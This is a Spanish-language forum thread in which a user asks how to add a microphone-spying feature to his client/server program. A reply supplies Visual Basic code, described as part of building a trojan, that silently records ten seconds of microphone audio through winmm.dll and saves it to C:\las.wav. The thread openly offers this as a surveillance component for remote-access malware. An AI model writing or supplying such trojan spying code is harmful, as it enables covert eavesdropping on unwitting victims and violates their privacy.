Este es mi primer post en esta comunidad y me gustaría dar un saludo a todos los usuarios.
Vamos con el tema en concreto, estoy haciendo un Cliente/Servidor y me gustaría ponerle la Función de Espiar el sonido del micrófono, pero no tengo ni idea, Alguien me podría echar una mano por favor?
;D Salu2, WarGhost
oye man yo tengo hecho un programa asi yo te agrego y despues por msn te lo paso.
Sancho.Mazorka :P
Este code lo aporto kizar a la creacion del troyano en vb.
'Declaraciones
Private Declare Function mciSendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim Result&
Dim ReturnString As String * 1024
'En un procedimiento
'Abrimos
Result& = mciSendString("open new type waveaudio alias mysound", ReturnString, 1024, 0)
'Ponemos el formato del sonido
Result& = mciSendString("set mysound time format ms bitspersample 8 samplespersec 11025", ReturnString, 1024, 0)
'Grabamos sonido del microfono (tiempo en milisegundos)
Result& = mciSendString("record mysound to 10000", ReturnString, 1024, 0)
'Teneis k poner un code k haga que el programa espere a k pasen los milisegundos indicados antes
'Guardamos el sonido en un archivo .wav
Result& = mciSendString("save mysound C:\las.wav", ReturnString, Len(ReturnString), 0)
'Cerramos
Result& = mciSendString("close mysound", ReturnString, 1024, 0)
Un saludo
Ok, Muchas gracias a todos ya me a quedado mas claro.
;D Salu2, WarGhost